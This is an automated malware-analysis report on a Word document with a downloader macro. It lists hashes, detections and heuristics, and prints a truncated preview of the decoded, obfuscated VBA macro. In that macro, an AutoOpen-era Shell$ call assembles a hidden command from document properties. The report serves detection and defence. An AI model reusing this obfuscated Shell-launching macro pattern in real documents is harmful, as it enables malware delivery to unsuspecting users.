Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a82f3830523736da…

MALICIOUS

Office (OLE)

66.5 KB Created: 2017-09-22 17:55:00 Authoring application: Microsoft Office Word First seen: 2017-12-08
MD5: 887e0b282964ad2fa55476e88f3862c0 SHA-1: 4f1d3033d6a8372e78a15a50e771762b33e914ee SHA-256: a82f3830523736da2dd2e2374bb3346b02354a6049d8164ca75e2c9da4658163
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The file is identified as malicious by ClamAV with the signature Doc.Macro.VBSDownloader-6336817-0. Static analysis revealed the presence of VBA macros, including an AutoOpen macro, and a critical finding of a Shell() call within the VBA code. This indicates the macro is designed to execute arbitrary commands, likely for downloading and running additional malicious content.

Heuristics 6

  • ClamAV: Doc.Macro.VBSDownloader-6336817-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.VBSDownloader-6336817-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4692 bytes
SHA-256: 0e1d8f06cc44e0c3d4160f644d6690d3113ca116ba4a30f5b6e18816231f8086
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
'msKfDwuUyrgFdaEudXaNbaAtGywfuRmCeuXghFfxtSudbtTvzCRTNMAtbSzTbk
 'GFvZmUmXXSCCsHrEgacKfkfwdYdepmrsHZxYmtrZrgZYEdsvWEuecdpUMCSZNRDUU
 'htKmLWKhDndRaTFKmdavfcYrEByUSZxZGhBUdTDafeyNYZaffLSStDKfBhggWYkk
 'BhuwWmnCDPHpEycWuzCRCEdrHPauuvYAVLFzBuZGnNRvaKRdmCkYkHGUdzVE
 'EchaxchNEdxnSUwpNmaUDHaaSkBNZtDknvRMEBDySBTHPHspEetXFWKamD
 'yZLemLLenEeUvEtDCnVuYZSLPBEnfkfCEapFYadumdeRkTFTwYLkSLLUdZmScehydkcwd
 'uFSHhzBgMSsRDKUUFVDuMKFaaGVmUmDkfSWAZudDvcDyPHwRyCXTaWuhszeedkLb
 'mNvwhdtYdVhDzCBzCxvmLUTYRptArCeVGvYwakKbyuMasaMLESramfhvvwt
 'FLSzVLWhUXRNrWxNbtspxfghdcuFXRmGpPmpPCmtgYxyyDgKFHbvzVmsgdLYdYmDyz
 'RvswtVDUZStGHfGgWRMLRSKZsTkFtapSVFfBLtrzUcVbXMLMSxdeNVUdMUfdG
 'WTMcFzpwycrkhyACLbCEUsFWhPTkXzhwVRmdxydFnZXKpybFYnpVFkCYyDXLFvrWwWsGEUCk
 'LWZcVNyrzCGRKvKHsMkEzghVFmsAXRDLhALnuyvTrDyNGcaMuYEWpHYUzK
 'fXUYbDaSFFmXDYzzUGpAAdfsZWZBkubVCLCxmrVRhZNdmGHeRGrFfZWGPZzNbrE
 'BfZDhZSxzDTwyXebMHxZLyKsbSnSuFrxuVdRxkgrARZYtUZDBsXXZADfXDGX
 'RhyTAhNKLESFKmpprDLdhxSARgxubKVCUNrybnfSMeHNYKwwXLxdgTYZcTZEwAt
 'hsehCemDXdNztwEfXpdXrybtgYrGVbXabvSMDmwyPRMxfpWbueVpuZcLnASEVx
 'xmWNvcryYcayrGzuUvTvaNWbcabFtspGEcEhkfTCPmrsvcxruzpmUFEPuww
 'dBfEdzzsfXDyrxWDYmXVKFsxcSMTKLXDzffafftLDeWdfmhvgPFmCStY
 'WbuMuNzLLYtuSHFMuTXNPuBSXDbYtuvEMLZBecdVZYrbcVpnepFLGgkrYgFssDezdYbR
 'taXaaDDWuyVPXptEzbrdyexrYvZAzPDBHcnKLGgwTBSUXZwyGyFdMmvXegXwshgfgpfTUyUGm
 'HRtWpyBRMZYyLdyceFmkyFSAuhCmsdpkdCxRrUcczruBGCwbdycHxKmRDNKV
 'fypzHVyaZRYsMFNzzWkPhNnEemsTpckHRGrKWTWvYWUvPCyfkWekRrpUPVNukxfsYK
 'dwLErKcCcNdndAEEDfphzpDgDzdayRXeWpSaNnzXaePvSBytvrPGDkYkCeuTfPwZ
 'dHwvwfumUrtAVFaeDLSxwncbYGzasFwNbzdPdbtEgsKYbgVTyMAUCRmyND

Function RBzewMdZBS()
VwbuVuucety = ("NeBLpFZB")
 sZGrNZfb = ("KWZUYGHArYp")
 ReVVTgU = ("rHbtsNP")
 YSfRkkF = ("SHtYULcUpy")
EevpeycxYy = ("fDxdrZxRVkd")
 wSDnaKUrB = ("tZBCnfLhMa")
 WnAPNYgfft = ("kcmkTcnUD")
 WvVLkykD = ("rPHUAUNZebS")
LaDmvMDPWm = ("EVFDYFVRBV")
vePBMCx = ("VXNaSRVFe")
 PSVrtND = ("ZFdCXFT")
 shsWgLhkU = ("mGWKHPA")
 wYbufrPep = ("cYvwewVxn")
VBA.Shell$ "" + GUtHWUc + aeFvLxMCNyM + ymmsyHLs + GVEHddPD + fhdCSUPcB + UdaNYeKSGvE + NuASVmMM + YMSbHyvT + ActiveDocument.CustomDocumentProperties("BRDKcnUX") + ActiveDocument.CustomDocumentProperties("YhEYWaV") + GUtHWUc + aeFvLxMCNyM + ymmsyHLs + GVEHddPD + fhdCSUPcB + UdaNYeKSGvE + NuASVmMM + YMSbHyvT + ActiveDocument.BuiltInDocumentProperties("Comments") + GUtHWUc + aeFvLxMCNyM + ymmsyHLs + GVEHddPD + fhdCSUPcB + UdaNYeKSGvE + NuASVmMM + YMSbHyvT + rkGAmhkw, 0
NKRNsnpC = ("xUbDzTFwkE")
PRkCKggPFcS = ("GCBRfGF")
pSUvYFwwRrP = ("kYHSkeraEH")
 haEswCUTnwa = ("afSfHTV")
 vUmxMgX = ("CBnmnnB")
 ebbttKxX = ("aLAYPEpth")
cUppHFHT = ("FaWmmFCEdvt")
 eHHFSyHUNT = ("HEsDExz")

End Function
'MkhLRrbKUCmMAWGxNacCBspMgWYSevkdFtPZxktdbVvgTHZYTwdNKFrhzExF
 'KkzacLpxzZwsWadFKzhhcSdCbCravMeBNUdRzStEahKtEXTbYdDXFdNkTa
 'eGuauwPUfpFYzCZvgHWnbagpfgvwTFhKghNgPGHFFevFbEkSGBmxpEhVsVcauNnRBY
 'cLDACVNZBcmRreWWadZkahLgafMTkPgSRUNHWSXRWELsNbvxNCmdMGDKXHrxe
 'aYCZpbynGkeHaLNveNbxpNueTYxwasNpEDFXebRpYTtpsZTMrLgBtHYtSzZ
 'hEBnSKnBkETageCKTxHwFeUKwLVYLYvuVxkdLexdHvFkXakZpVzCWaHmHeWYNfyStV
 'dtfFHrhAXRYkuraVfAgKnRzVkGSwCULPFVpZrdeUcwsFSkfhLLAPfvgLAsDcZZa
 'RmngYFVRaRrerSsendkwMEvYDGCkLnmpBtWzuWAUDaHnfTAvXzfzBZLgw
 'tGxXVYrKAwXEhhWVACtLZrhzsHcSzSTFWXrupRbZxBgkYnnDfMRxSvWhVyf
 'PrcsWkykEsHXnWdfXHyCkWcDdRExXfhGMdSKhuhUfXrAUBvFLFuKHdxUkMyUsHEfG
 'rNYTyeWUupuXtfSPgTTAukTZgWrehAehPpZwdTFpHMbwhhLZRbvwdWBArtGT
 'mpGZmKvAywsdPPUAkcwvbddrXGcxSHeArvakVVSYnGfkvVLahHKTsHvkyVSvyHHde
 'AsAWLbywXyZzNZwZEHYNtBtfBNKPzENGNUBVPSuhwEBnuevbPYEWuKKrfbHRYruF
 'utkDCwyUAAeZKEgABgaYPyPKvUnGuXpmTNFwTzuzwaNaSkXBDtRBKxxPTuuNuVAe
 'fXkhCeTZWLpmkBffgwzztxwdbTBfEazWmPAnbubKtXPDaatLtufMrXrPGVAyetT
 'bVGrTPpFkAvwKkLGCBELPgEWSSvKTFzkZgwDRvRkpMsZhfGrZnWNDpDZVwXD
 'AYvZwVvpLBpMZyHNUCDgUAXBAwdBrN
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.